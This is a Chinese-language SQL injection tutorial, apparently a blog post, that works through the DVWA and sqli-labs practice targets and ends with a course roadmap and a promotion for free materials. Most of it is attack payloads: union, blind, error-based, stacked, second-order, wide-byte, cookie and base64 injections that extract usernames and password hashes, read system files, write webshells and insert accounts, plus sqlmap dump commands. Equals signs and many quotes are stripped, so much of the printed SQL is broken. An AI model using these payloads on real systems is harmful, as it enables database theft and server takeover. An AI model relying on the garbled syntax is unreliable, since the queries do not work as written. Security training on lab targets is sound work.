​一、什么是sqlSQL 是操作数据库数据的结构化查询语言网页的应用数据和后台数据库中的数据进行交互时会采用 SQL。SQL 注入是由于程序没有对用户输入数据的合法性进行验证和过滤导致 SQL 查询语句被恶意拼接从 而产生SQL 注入。漏洞描述Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行导致参数中的特殊字符打破了 SQL 语句原有逻辑黑客可以利用该漏洞执行任意 SQL 语句如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。测试方法在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用 也可以使用其他的 SQL 注入工具简单点的可以手工测试利用单引号、 and 11 和 and 12 以及字符型注入进行判断推荐使用 burpsuite 的 sqlmap 插 件这样可以很方便鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检 测了sql注入相关知识在 mysql5 版本以后 mysql 默认在数据库中存放在一个叫 infomation_schema 里 面 这个库里面有很多表 重点是这三个表 columns 、 tables 、 SCHEMATA 表字 段 CHEMA_NAME 记录着库的信息可以使用phpstudy查看我们之前搭建的dvwa的数据库发现存在information_schema库tables 表字段 TABLE_SCHEMA 、 TABLE_NAME 分别记录着库名和表名columns 存储该用户创建的所有数据库的库名、表名和字段名。通过 infomation_schema 查询 dvwa 库里所有的表和字段select * from information_schema.COLUMNSwhere TABLE_SCHEMA‘dvwa’这里打开phpstudy的phpmyadmin输入账号root密码root进行登录select * from information_schema.COLUMNS where TABLE_SCHEMAdvwa数据库 . 表名 这种查询方法是指定某个数据库某个表 这个符号可以忽略不用查询某个库某个表的字段可以这样查询select * from information_schema.COLUMNS where TABLE_SCHEMAdvwa and TABLE_NAMEusers存在coulmn_name成功获得字段名二、sql注入原理SQL 注入漏洞的产生需要满足以下两个条件参数用户可控从前端传给后端的参数内容是用户可以控制的参数带入数据库查询传入的参数拼接到 SQL 语句且带入数据库查询。当用户传入参数为 1’ 的时候 , 在数据库执行如下所示。select * from users where id1此 SQL 语句不符合语法规则就会报错。You have an error in your SQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near ‘’’ at line 1当用户传入参数为 1 and 11 时select * from users where id1 and 11因为 11 为真 id1 也是真 and 两边均为真 所以页面会返回 id1 的结果。如果用户传入参数为 1 and 12 时因为 12 为假 id1 为真 and 两边有一个为假所以页面返回与 id1 不一样的 结果。由此可以初步判断存在 SQL 注入漏洞攻击者可以进一步拼接 SQL 攻击语句进行攻击致使信息泄露甚至获取服务器权限。判断是否存在注入回显是指页面有数据 信息返回id 1 and 11 id 1 and 12 id 1 or 11 id 1 or 11 id 1 or 11无回显是指 根据输入的语句 页面没有任何变化 , 或者没有数据库中的内容显示到网页中 。使用dvwa进行测试记得将dvwa的安全等级改为lowand是与运算在sql语句中12是false为01是true为11 and 0为0此处应该无回显可以判断不是整字型注入第三个1的后单引号在页面内用于拼接sql语句判断出是字符型注入这里输入的是1’ and ‘1’2,无回显语句被带入到数据库进行查询了三种 sql 注释符单行注释注意与 url 中的 # 区分常编码为 %23– 空格 单行注释 注意为短线短线空格/* */ 多行注释 至少存在俩处的注入/**/ 常用来作为空格sql传入参数在url上是GET型注入在GET型注入中#必须进过url编码不然无法带入数据库进行查询sql传入参数在数据包内容的是POST注入单行注释SELECT * FROM users WHERE user_id1 #absbbabdsbad–空格单行注释SELECT * FROM users WHERE user_id1 -- adsbdbas** //多行注释注入流程是否存在注入并且判断注入类型上面已经判断为字符型注入了判断字段数order by由此可以判断字段数为2三、确定回显点union select 1,2因为数据库中存在id1的数据所以这条查询语句被运行了两次只需要将1改为不存在的数据查询数据库信息version数据库版本信息 datadirSQL所在路径查询用户名数据库名user() database()union 查询结合了两个 select 查询结果根据上面的 order by 语句我们知道查询包含两列为了能够现实两列查询结果我们需要用 union 查询结合我们构造的另外一个 select. 注意在使用 union 查询的时候需要和主查询的列数相同。得到当前数据库名后来获取数据库下的表名-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema database()#GROUP_CONCAT函数是一个聚合函数用于将GROUP BY产生的同一个分组中的值连接起来并返回一个字符串结果。这个函数在拼接多行数据到一个字符串时特别有用。(拼接作用)得到表名后获取列名对’users’进行了hex编码主要绕过单引号过滤获取数据第一种方式1 or 11 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #因为使用or进行或运算只要有一个是正确的这条语句就是正确的所以-1’or 11和1’or 11的结果一样数据库会先执行1’ or 11因为这是永远正确的数据库会将所有用户名和密码输出到页面如前五条接下来执行union select使用group_concat将内容拼接在一起输出这是执行1’ or 11#的结果帮助理解第二种方式-1 union select null,concat_ws(char(32,58,32),user,password) from users #这条语句数据库会直接执行union select后面的因为-1是错误的null是用来占位的因为存在两个字段使用concat_ws来拼接字符字符串char是将ascii码转换为字符串32是冒号58是空格获取user列和password列的数据指定了表名为users如果将-1改为1下图会多出一条数据多出的数据就是执行了id1第三种方式-1 union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #group_concat会将所有数据拼接在一起concat_ws将user和password拼接在一起后对于第二条数据会进行换行载拼接第二个函数比第一个函数比较美观获取mysql.user表中所有的用户名和密码1 union select 1,group_concat(user,password) from mysql.user#发现有三条root的数据登录到mysql中查看select * from mysql.user发现主机名不同其他相同的root账号和密码文件读取 union select 1,load_file(‘C:\wondows\win.ini’)#读文件需满足条件secure_file_priv值允许对该路径下的文件进行操作数据库用户mysql的属主对文件有读权限当前数据库登录用户拥有file权限mysql show grants for 用户名localhost;查看用户在在数据库的权限文件大小小于max_allowed_packetload_file()函数受到这个值的限制show global variables like “secure%”;#查看所有以secure开头的全局变量。secure_file_priv修改mysql目录下的my.ini文件在文件中的[mysqld]字段下添加secure_file_priv这里我指定了读取路径也可以保持为空这时候在dvwa中可以读取到文件内容写入 webshellselect…into outfile…写入文件也需要将在my.ini中添加secure_file_priv我这指定了路径所以只能写入到这个路径下补充一点使用 sql 注入遇到转义字符串的单引号或者双引号可使用 HEX 编码绕过这里将’dvwa’进行hex编码为276476776127select * from information_schema.COLUMNS where TABLE_SCHEMA2764767761四、SQL 注入分类SQL 注入分类按 SQLMap 中的分类来看 SQL 注入类型有以下 5 种UNION query SQL injection 可联合查询注入Stacked queries SQL injection 可多语句查询注入堆叠查询 Boolean-based blind SQL injection 布尔型注入Error-based SQL injection 报错型注入Time-based blind SQL injection 基于时间延迟注入接受请求类型区分GET 注入GET 请求的参数是放在 URL 里的 GET 请求的 URL 传参有长度限制 中文需要URL 编码POST 注入POST 请求参数是放在请求 body 里的长度没有限制COOKIE 注入cookie 参数放在请求头信息提交的时候 服务器会从请求头获取注入数据类型的区分int 整型select * from users where id1sting 字符型select * from users where username‘admin’like 搜索型select * from news where title like ‘% 标题 %’五、union 联合注入原理联合查询注入是联合两个表进行注入攻击使用关键词 union select 对两个表进 行联合查询。两个表的字段要数要相同不然会出现报错。guestbook具有三个字段users具有八个字段如果直接联合两个表 因为列数跟第一个表不一样 会导致出错guestbook 有个三个字段 users 也需要有三个与之匹配这些数字可以替换成字段的名称或者函数。替换成函数SELECT * FROM guestbook WHERE comment_id1 union select database(),user(),version() from users这里和上面 注入流程 是差不多的操作如果没有加上 limit 限定条数会把所有内容查询出来所以都会加上 limit 1 限定SELECT * FROM guestbook WHERE comment_id1 union select user_id,user,password from users limit 1这里使用dvwa进行演示limit 0,1等于limit 1第二条数据limit 1,1第三条数据limit 2,1-1 union select null,concat_ws(char(32,58,32),user,password) from users limit 0,1 #在上面详细的介绍了原理现在再来分析有 SQL 注入漏洞的代码通过分析代 码更深入地了解 SQL 注入漏洞。代码所在位置E:\phpstudy\PHPTutorial\WWW\DVWA\vulnerabilities\sqli\source通过代码我们可以知道它是直接获取用户输入的内容没有进行任何过滤然后直接进行查询六、布尔盲注在页面中不会显示数据库信息一般情况下只会显示对与错的内容。存在即返回 users is exists in the database 否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库里任何内容如果存在注入成为盲注入。盲注入的方式有两种一种是布尔型盲注入另外一种是延时注入。判断盲注输入检测语句页面没有任何改变可以使用延时语句进行检测 1’and sleep(10)– 函数 sleep() 在 mysql 是延时返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行。这里使用dvwa进行测试输入内容后进行抓包1 and sleep(5)布尔型注入盲注攻击布尔型盲注入用到得 SQL 语句 select if(11,1,0) if() 函数在 mysql 是判断第一个参数表达式如果条件成立会显示 1 否则显示 0 。 11 表达式可以换成构造的 SQL 攻击语句。1’ and if(11,1,0)– 页面返回正常这个语句实际上是 1’and 1 真 and 真 结果为真 1 是存在记录的。所以返回正确页面。1’ and if(12,1,0)– 页面返回错误这个语句就是 1’and 0 真 and 假 结果为假整个 SQL ID 的值也是 0 所以没有记录返回错误页面。布尔型盲注入获取数据库敏感信息在黑盒的环境下通过构造 SQL 注入语句根据页面的特征确定获取敏感信息。布尔型盲注入用到的函数SUBSTRING() 字符串截取第一个参数是字符串第二个参数是开始截取 第三个是截取的长度。select database() 查询当前库通过 substring 截取截取长度第二个参数位置不能为0如果为0就返回空字符串select substring(database(),1,1)需要获取第二个字符就修改第二个参数再用 if 函数进行构造select if(SUBSTRING(database(),1,1)d,1,0)判断数据库第一个字是不是字符 d 如果是返回 1 否则返回 0 。需要获取第二个字符需要将substring的第二个参数修改为2依次类推。盲注攻击顺序及测试首先判断注入判断完注入就获取数据库的长度得到长度再查询库名通过库名再查询表接着通过表查询字段最后查询某表指定的数据。1、 要查询当前库名首先确定要查询数据库的长度再通过截取字符进行对比。1 and if(length(database())4,1,0)--2、判断库名的长度为 4获取库名下面是用来爆破库名的字典0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._使用py脚本将其输出为一个字符一行将数据包方式到爆破模块3、选择集束炸弹模式并将字符开始截取位置和库名字符添加为变量4、添加为第一个payload设置为1到4这是库名长度对第二个payload设置为上面说的字典5、点击攻击获取库名可以得到库名为dvwa出现这种情况是因为mysql对大小写不敏感MySQL的大小写敏感性可以通过配置文件的lower_case_table_names参数来控制。在Windows系统中可以通过编辑MySQL安装目录下的my.ini文件在[mysqld]节下添加lower_case_table_names0大小写敏感或lower_case_table_names1大小写不敏感来实现。在Linux系统中相应的配置文件通常是my.cnf。6、得到数据库名后获取表名1and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMAdatabase() limit 1),1,1)g,1,0)--除了sql语句不一样爆破方式和获取数据库名一样获取表名 guestbook users7、获取列名1and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAMEusers limit 1,1),1,1)u,1,0)--获取 users 表的字段首先判断查询账号和密码的长度1and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit1)38,1,0)--获取账号和密码的内容如果需要获取下一条数据需要将limit 1修改为limit 1,11and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)a,1,0)--七、报错注入判断是否存在报错注入 输入单引号 如果报错有可能存在报错注入如果拼接SQL 语句带入到 mysql 执行即存在报错注入。 输入 1’and info()– 显示当前库原理是SELECT first_name, last_name FROM users WHERE user_id ‘1’ and info()–会报错显示当前库不存在这个函数 这样当前库名就显示在页面上。报错注入获取数据库敏感信息1and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#updatexml()是MySQL中的一个函数它用于修改XML文档中的值。这个函数的结构如下UPDATEXML (xml_doc, xpath_expr, new_value)如果xpath_expr指定的路径在xml_doc中不存在那么updatexml()函数会返回一个错误这个错误会包含你试图查找的路径。0x7e是~concat用于拼接可以将select后面的user()替换为其他的函数 version() 、database() 就能得到 mysql 得版本信息和当前库名。修改user()可以获取表名列名-1 and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 1),0x7e),1))#获取到了第一个表名需要获取第二个表名修改limit为limit 1,1但是采用 updatexml 报错函数 只能显示 32 长度的内容如果获取的内容超过 32字符就要采用字符串截取方法。每次获取 32 个字符串的长度。这里获取的是一个密码的1到32字符串内容如果需要后面的内容可以更改1,32需要第二条密码就修改limit 1,11 and (updatexml(1,concat(0x7e,(select(substring((select password from users limit 1),1,32))),0x7e),1))#除了 updatexml 函数支持报错注入外mysql 还有很多函数支持报错。报错注入获取 mysql 账号和密码获取账号和密码需要 root 用户才有足够大的权限authentication_string 是 MySQL 数据库中 user 表的一个字段用于存储经过加密的账户密码。select authentication_string from mysql.user limit 1;floor 报错通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名采用 floor 报错并不会存在长度问题。1and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schemadatabase() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--将 LIMIT 0,1 改成 1,1 表是第二个表名在获取表名之后就可以获取字段名如获取 usrs 的字段名获取第一个字段名。1and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_nameusers LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--需要第四列的列名需要将位置修改为3可以使用 burpsuite 批量对字段批量获取首先抓包修改变量设置匹配规则。设置为0到20列名一般不会超过20设置网页固定内容获取点击add后弹出在爆破模块的数据包双击选择id点击ok再点击开始攻击得到有20条列名现在已经获取 users 表的名字和它的字段名接下来可以对内容进行查询。1and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--需要获取第二条记录修改如图位置的limit 0,1将其改为limit 1,1可以使用burp对其进行抓包发送到爆破模块爆破出所有用户信息八、时间盲注时间注入又名延时注入属于盲注入的一种通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。在 mysql 里 函数 sleep() 是延时的意思 sleep(10) 就是 数据库延时 10 秒返回内容。判断注入可以使用 and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。mysql 延时注入用到的函数 sleep() 、 if() 、 substring()、select if(21,sleep(10),0) 21 这个部分就是你注入要构造的 SQL 语句。使用if对当前数据库名长度进行判断如果长度大于1就返回1语句变成11页面返回就延迟5秒否则就返回0语句变为01就不执行sleep(5)。1andif(length(database())1,sleep(5),0)1--分析源码 直接获取 name 带进数据库进行查询但是是否存在记录页 面返回都一样判断了数据库长度开始获取数据库名1andif(ascii(substr(database(),1,1))1,sleep(3),0)1--由于burp的爆破模式不能看见页面返回时间所以可以在重放模块手动一个一个试这里我使用ascii函数将数据库名的第一个字母转化为ascii码值进行比较需要将1改为数字。如果不想使用ascii值进行判断就将sql语句改为1andif(substr(database(),1,1)d,sleep(3),0)1--得到数据库后进行表的长度获取由于数据库下不止一张表所以需要使用limit来指定第几个表1andif(length((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1))1,sleep(3),0)1--获取表名1andif(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),1,1)g,sleep(3),0)1--获取列名长度1andif(length((selectcolumn_namefrominformation_schema.columnswheretable_nameusersandtable_schemadatabase()limit0,1))1,sleep(3),0)1--获取列名password列是第五列1andif(substr((selectcolumn_namefrominformation_schema.columnswheretable_nameusersandtable_schemadatabase()limit0,1),1,1)u,sleep(3),0)1--获取password列内容的长度这是获取的第一条1andif(length((selectpasswordfromuserslimit0,1))1,sleep(3),0)1--获取具体数据获取第一条数据的第一个字符1andif(substr((selectpasswordfromuserslimit0,1),1,1)5,sleep(3),0)1--需要获取多个列的数据可以使用concat进行拼接1andif(substr((selectconcat(user,password)fromuserslimit0,1),1,1)a,sleep(3),0)1--使用group_concat可以不使用limit因为group_conat会将所有数据拼接成一行1andif(substr((selectgroup_concat(user,password)fromusers),1,1)a,sleep(3),0)1--九、sqlmap的使用sqlmap 支持多种数据库注入而且支持多种注入方式。sqlmap -u http://192.168.10.131/01/vulnerabilities/sqli_blind/?id1SubmitSubmit# -p id -v 1 --techniqueT如果不能正常进行测试首先查看kali是否能上网或者在sqlmap中添加cookie值如–cookie “xxxxxxxxxxxxxxxxxxxx”-p指定sqlmap对那个参数进行注入-v 1详细输出级别为1–techniqueT指定注入使用的技术为时间注入–current-user 获取用户–current-db 当前库–batch 使用默认模式 自动 ysqlmap -u http://192.168.10.131/01/vulnerabilities/sqli_blind/?id1SubmitSubmit# --cookie PHPSESSIDumehs7aejri576tajluq4eud50;securitylow -p id -v 1 --techniqueT --current-d --current-user --batch得到当前用户root和当前数据库名dvwa获取表 -D 指定数据库 --tables 获取表sqlmap -u http://192.168.10.131/01/vulnerabilities/sqli_blind/?id1SubmitSubmit# --cookie PHPSESSIDumehs7aejri576tajluq4eud50;securitylow -p id -v 1 --techniqueT -D dvwa --tables --batch在 sqlmap --columns 获取字典 -T 某个表sqlmap -u http://192.168.10.131/01/vulnerabilities/sqli_blind/?id1SubmitSubmit# --cookie PHPSESSIDumehs7aejri576tajluq4eud50;securitylow -p id -v 1 --techniqueT -D dvwa -T users --columns --batch–dump 导出数据-C 指定查询的字段sqlmap -u http://192.168.10.131/01/vulnerabilities/sqli_blind/?id1SubmitSubmit# --cookie PHPSESSIDumehs7aejri576tajluq4eud50;securitylow -p id -v 1 --techniqueT -D dvwa -T users -C user_id,user,password --dump --batch十、堆叠注入堆叠查询可以执行多条 SQL 语句语句之间以分号 “ ; ” 隔开而堆叠查询注入攻击就是利用此特点在第二条语句中构造要执行攻击的语句。在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息不返回后面的信息。select version();select database()堆叠注入的危害是很大的 可以任意使用增删改查的语句例如删除数据库 修改数据库添加数据库用户。使用容器拉取sql注入靶场拉取靶场sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs-d后台运行-t分配一个伪终端-p端口映射在堆叠注入页面中程序获取 get 参数的 id 使用 mysqli 的方式进行数据查询在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句导致存在堆叠注入。进入容器sudo docker exec -ti sqli /bin/bash对sql靶场第38关进行测试1、判断注入类型发现是字符型注入2、获取当前库的表名-1 union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMAdatabase() limit 1)--3、获取users表中的字段-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAMEusers limit 1)--4、知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表直接添加管理员账号即可登录后台。向users表中插入id为666用户名为miao密码为123456的用户-1;insert into users(id,username,password)values(666,miao,123456)--5、给id传入参数666十一、二次注入二次注入漏洞更难以被发现但是它却具有与一次注入攻击漏洞相同的攻击威力。原理在第一次进行数据库插入数据的时候仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义但 是 addslashes 有一个特点就是虽然参数在过滤后会添加 “ \ ” 进行转义但是“ \ ” 并不会插入到数据库中在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后开发者就认为数据是可信的。在下一次进行需要进行查询的时候直接从数据库中取出了脏数据没有进行下一步的检验和处理这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候数据中带有单引号直接插入到了数据库中然后在下一次使用中在拼凑的过程中就形成了二次注入。二次注入攻击测试–第24关先确定测试的网站是否进行过滤一般情况下网站都会对输入的参数进行过滤然后寻找可能会带入恶意数据二次使用的地方。例如用户注册- 修改密码邮箱注册- 修改密码 文章添加 -文章编辑。找一切存在二次使用的功能点。二次注入测试 SQL 注入二次注入多数是字符型注入所以要注意闭合问题。我们来修改admin用户的密码现在的密码是admin分别注册用户 admin’ and 11# admin’ and 12# 再来可能触发的地方。将会密码修改为my能够发现admin的密码已经被改变为了myadmin’ and 12#不能修改admin的密码因为12是错误的这条语句进行了与运算所以这条语句也是错误的将and换成or进行或运算存在admin这个用户为真整条语句也就是为真的十二、宽字节注入什么是宽字节注入宽字节注入在 SQL 进行防注入的时候一般会开启 gpc过滤特殊字符。 一般情况下开启 gpc 是可以防御很多字符串型的注入但是如果数据库编码不 对也可以导致 SQL 防注入绕过达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入从而逃逸 gpc。前提条件简单理解 : 数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入深入讲解要有宽字节注入漏洞首先要满足数据库后端使用双 / 多字节解析 SQL语句其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符初步的测试结果 Big5 和 GBK 字符集都是有的 UTF-8 和 GB2312 没有这种字符也就不存在宽字节注入。gpc 绕过过程%df%27(addslashes)%df%5c%27( 数据库 GBK) 運’宽字节攻击–第32关注入判断-1%df’ and 11– 页面是否存在乱码-1%df’ or sleep(10)– 页面是否存在延时1、发现无回显是字符型的注入1%df and 11--2、获取字段数获取回显位置获取当前数据库名这都和普通注入一样-1%df union select 1,2,database()--3、获取表名-1%df union select 1,2,concat(table_name)from information_schema.tables where table_schemadatabase() limit 1,1--4、获取列名这里的表名是users我对它进行了hex编码因为对users使用单引号报错了-1%df union select 1,2,concat(column_name)from information_schema.columns where table_name0x7573657273 and table_schemadatabase() limit 1 --5、获取idusernamepassword-1%df union select 1,2,concat(id ,0x7e,username,0x7e,password)from users limit 1,1 --十三、cookie注入COOKIE 注入与 GET 、 POST 注入区别不大只是传递的方式不一样。 GET 再url 传递参数、 POST 在 POST 正文传递参数和值 COOKIE 在 cookie 头传值。cookie 功能多数用于商城购物车或者用户登录验证可以对这些功能模块进行测试抓取 cookie 包进行安全测试。cookie注入攻击–第20关在 burpsuite 显示 传递的方式。登录并进行抓包1、判断cookie注入在如图位置添加uname用来传入用户名不能修改unameand11--2、获取当前数据库名uname-adminunionselect1,2,database()--;3、获取表名-adminunionselect1,2,concat(table_name)frominformation_schema.tableswheretable_schemadatabase()limit1--;4、获取列名-adminunionselect1,2,concat(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameuserslimit1--;5、获取id,username,password的内容-adminunionselect1,2,concat(id,0x3a,username,0x3a,password)fromuserslimit1,1--;十四、base64 编码注入base64 一般用于数据编码进行传输例如邮件也用于图片加密存储在网页中。数据编码的好处是防止数据丢失也有不少网站使用 base64 进行数据传输如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。在 php 中 base64_encode() 函数对字符串进行 base64 编码 , 既然可以编码也可以进行解码base64_decode() 这个函数对 base64 进行解码。编码解码流程1 -base64 编码 -MQ-base64 解密 -1base64 编码注入可以绕过 gpc 注入拦截因为编码过后的字符串不存在特殊字符。编码过后的字符串在程序中重新被解码再拼接成 SQL 攻击语句再执行从而形式 SQL 注入。base64编码注入攻击–第21关首先观察网站是否存在 base64 编码的数据例如传递的 id 的值搜索模块。如果存在类似 等可以用 base64 解码进行测试。admin’and 11-- 编码 YWRtaW4nYW5kIDE9MS0tIAadmin’and 12-- 编码 YWRtaW4nYW5kIDE9Mi0tIA1、判断注入对admin’ and 11 --进行了base64编码发现有语法错误并回显了一个)符号重新构造语句为admin’) and 11 #2、获取字段数和字段回显位置当前数据库名将上面对20关进行sql注入的语句添加)修改–为#再进行base64编码Base64 在线编码解码 | Base64 加密解密 - Base64.us3、后面的靠大家自己来操作了最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】​